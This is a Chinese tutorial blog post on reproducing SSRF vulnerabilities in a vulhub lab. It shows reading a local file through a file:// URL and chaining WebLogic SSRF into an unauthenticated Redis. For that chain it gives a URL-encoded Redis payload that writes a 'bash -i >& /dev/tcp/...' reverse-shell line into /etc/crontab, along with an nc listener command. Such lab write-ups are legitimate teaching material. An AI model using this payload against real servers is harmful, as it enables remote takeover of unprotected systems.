ssrf漏洞之——漏洞复现

news2024/9/20 16:44:32

漏洞介绍
SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造url,由服务端对此url发起请求的一个安全漏洞。
漏洞原理
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,并且没有对目标地址做过滤与限制,比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。
一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)
漏洞危害
1.对外网服务器所在的内网,本地进行端口扫描,获取一些服务的banner信息.
2.攻击运行在内网或本地的应用程序
3.对内网Web应用进行指纹识别
4.识别企业内部的资产信息攻击内外网的Web应用,主要是使用HTTP GET请求就可以实现的攻击(比如strust2,SQli等)
5.利用file协议读取本地文件等
漏洞高危触发点
1.分享:通过URL地址分享网页内容
2.转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3.在线翻译:通过URL地址翻译对应文本的内容
4.图片加载与下载:通过URL地址加载或下载图片
5.图片、文章收藏功能
漏洞复现
1.利用ssrf漏洞读取本地文件
原理
将页面请求的url改为指定本地文件路径的url
步骤
原url:
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/XXE-master/vul/ssrf/ssrf_info/info1.php
原url执行效果:

修改后的url
http://localhost/XXE-master/vul/ssrf/ssrf_curl.php?url=file:///C:/Users/Administrator/Desktop/1.txt
修改后的url执行效果

1.txt被显示到页面
2.利用ssrf漏洞攻击内网redis数据库
环境
Redis数据库4.0版本、10.0.x版本的weblogic服务器
原理
利用weblogic服务器的ssrf漏洞发送HTTP请求给Redis数据库,再利用Redis数据库4.0版本内网的未授权访问漏洞getshell
步骤
1.打开Ubuntu虚拟机,安装vulhub漏洞环境

2.进入vulhub-master/weblogic/ssrf目录,输入docker-compose up -d启动环境

3.物理机访问 http://192.168.16.131:7001/uddiexplorer/SearchPublicRegistries.jsp,192.168.16.131为vulhub的ip

4.输入一个值Bp抓包

5.通过修改post值里的url请求为指定服务器ip,探测内网中的redis服务器ip(通过6379端口检查),http://172.22.0.2:6379成功返回结果

6.发送三条redis命令,即可将弹shell的脚本写入/etc/crontab,之后将shell发送到指定的ip的一个端口,ip可自己更改,之后在192.168.16.131上使用nc监听4444端口,输入nc -lvvp 4444 开启监听
Url编码后的redis命令:

test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.16.131%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
1
发送命令:
将url编码后的命令放到redis服务器的ip后(http://172.22.0.2:6379/命令),替换url发送,过一会nc处就会自动弹出一个控制172.22.0.2:6379的shell

使用nc开启4444端口监听:控制172.22.0.2:6379的shell弹出

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2077026.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Autosar(Davinci) --- 创建一个Implementation Data Types

前言 这里我们讲一下如何创建一个Implementation Data Types(IDT) 一、什么是IDT 二、如何创建一个IDT 鼠标右键【Implementation Data Types】,选择【new Type Reference...】 起一个名字【IdtDoorState】,Data Types选择【boolean】,这里…

RFID光触发标签应用于制造业供应链管理的应用与探索

制造业作为国民经济的支柱产业,其供应链管理的复杂性和重要性日益凸显,在全球化竞争的背景下,企业需要更高效、更精准、更智能的供应链解决方案来满足市场需求,提高客户满意度,降低运营成本,RFID光触发标签…

【mysql】mysql的卸载和安装

mysql的卸载 mysql是否安装: 首先我们先来看看mysql是否安装: 快捷键winR输入cmd,进入命令输入框 输入mysql --version 查看mysql的版本 如果出现了mysql的版本就说明你已经安装了 系统用户root -p就是输入密码所以代码如下 mysql -ur…

AI大模型编写多线程并发框架(六十一):从零开始搭建框架

系列文章目录 文章目录 系列文章目录前言一、项目背景二、第一轮对话-让AI大模型理解我们的诉求二、第二轮对话-优化任务处理方法和结果处理方法三、参考文章 前言 在这个充满技术创新的时代,AI大模型正成为开发者们的新宠。它们可以帮助我们完成从简单的问答到复杂…

模拟实现STL中的unordered_map和unordered_set

目录 1.unordered_map和unordered_set简介 2.unordered_map和unordered_set设计图 3.迭代器的设计 4.哈希表的设计 5.my_unordered_map和my_unordered_set代码 1.unordered_map和unordered_set简介 unordered_map和unordered_set的使用非常类似于map和set,两…

【Linux】日志函数

欢迎来到 破晓的历程的 博客 ⛺️不负时光,不负己✈️ 文章目录 引言日志内容日志等级日志函数的编写函数原型参数说明功能描述使用场景示例代码 引言 日志在程序设计中扮演着至关重要的角色,它不仅是程序运行情况的记录者,还是问题诊断、性…

【机器学习】智驭未来:机器学习如何重塑现代城市管理新生态

📝个人主页🌹:Eternity._ 🌹🌹期待您的关注 🌹🌹 ❀目录 🔍1. 引言:迈向智能城市的新时代📒2. 智驭交通:机器学习在智能交通管理中的应用&#x1…

仿Muduo库实现高并发服务器——LoopThreadPool模块

这个模块需要具备那些基础知识。 线程创建相关操作,锁,条件变量。 设置线程数量: _thread_count 是线程池中,记录线程数量的成员。 创建线程池: 上图就是线程池的创建,将线程与EventLoop对象 通过数组下…

关于嘉立创eda中同一个项目下多个原理图是否独立

嘉立创项目底下,如果你新建了多张原理图,如下 我发现,多张原理图是互相连接的,所以命名是不能重复的 多页原理图 | 嘉立创EDA标准版用户指南https://docs.lceda.cn/cn/Schematic/Multi-Sheet/index.html 上面是嘉立创原文介绍 综…

豆瓣评分7.9!世界级讲师耗时5年整理出的Python学习手册!

Python是一门流行的开源编程语言,广泛用于各个领域的独立程序与脚本化应用中。它不仅免费、可移植、功能强大,同时相对简单,而且使用起来充满乐趣。从软件业界的任意一角到来的程序员,都会发现Python着眼于开发者的生产效率以及软…

编程仙尊——深入理解指针(2)

目录 4.const修饰指针 4.1const修饰变量 5.指针运算 5.1指针-整数 5.2指针-指针 5.3指针的关系运算 6.assert断言 4.const修饰指针 4.1const修饰变量 在编程中,为了防止代码在运行过程中变量的内容意外改变,可以使用const函数,对变量…

介绍python的回归模型原理知识

一.回归 1.什么是回归 回归(Regression)最早是英国生物统计学家高尔顿和他的学生皮尔逊在研究父母和子女的身高遗传特性时提出的。1855年,他们在《遗传的身高向平均数方向的回归》中这样描述“子女的身高趋向于高于父母的身高的平均值&…

Linux云计算 |【第二阶段】SHELL-DAY2

主要内容: 条件测试(字符串比较、整数比较、文件状态)、IF选择结构(单分支、双分支、多分支)、For循环结构、While循环结构 一、表达式比较评估 test 命令是 Unix 和 Linux 系统中用于评估条件表达式的命令。它通常用…

小乌龟运动控制-1 小乌龟划圆圈

目录 第一章 小乌龟划圆圈 第二章 小乌龟走方形 文章目录 目录前言一、准备工作步骤一:创建ROS工作空间步骤二:创建ROS包和节点步骤三:编写Python代码步骤四:运行ROS节点总结 前言 本教程将教会你如何使用Python编写ROS小海龟节…

【SpringCloud】(一文通)优雅实现远程调用-OpenFeign

目 录 一. RestTemplate存在问题二. OpenFeign介绍三. 快速上手3.1 引入依赖3.2 添加注解3.3 编写 OpenFeign 的客户端3.4 远程调用3.5 测试 四. OpenFeign 参数传递4.1 传递单个参数4.2 传递多个参数4.3 传递对象4.4 传递JSON 五. 最佳实践5.1 Feign 继承方式5.1.1 创建⼀个Mo…

马克思发生器有什么用_马克思发生器工作原理

马克思发生器(Marx Generator)是一种电气装置,用于产生高压脉冲电压。它由多个电容器组成,这些电容器依次连接在一系列开关之后。首先,每个电容器被并联充电至较低的电压。然后,这些电容器被开关依次串联&a…

C++过生日(我给我自己做的生日礼物)

🚀欢迎互三👉:程序猿方梓燚 💎💎 🚀关注博主,后期持续更新系列文章 🚀如果有错误感谢请大家批评指出,及时修改 🚀感谢大家点赞👍收藏⭐评论✍ 引言…

电源自动测试系统:测试柜的组成与功能

为了提高电源测试的效率和安全性,电源自动化测试柜是电源ATE自动测试系统的重要设备,不仅对示波器、万用表等测试仪器起保护作用,更是在测试过程中降低了安全风险,方便了电源产品的自动化测试。 电源自动测试系统机柜 电源自动化测…

C++初学(15补充)

15.1、嵌套循环和二维数组 下面讨论如何使用嵌套for循环来处理二维数组。到目前为止,我们一直学的是一维数组,因为每一个数组都可以看作是一行数据。二维数组更像是一个表格——既有数据行也有数据列。C并没有提供二维数组类型,但是用户可以…

电池的入门

目录 化学电池主要参数电池种类常用电池 物理电池太阳能电池 化学电池 主要参数 1.容量 2.标称电压 3.内阻 4.充电终止电压 5.放点终止电压 电池种类 按能否充电分: 原电池(Primary Cell):只能放电不能充电的电池&#xff0c…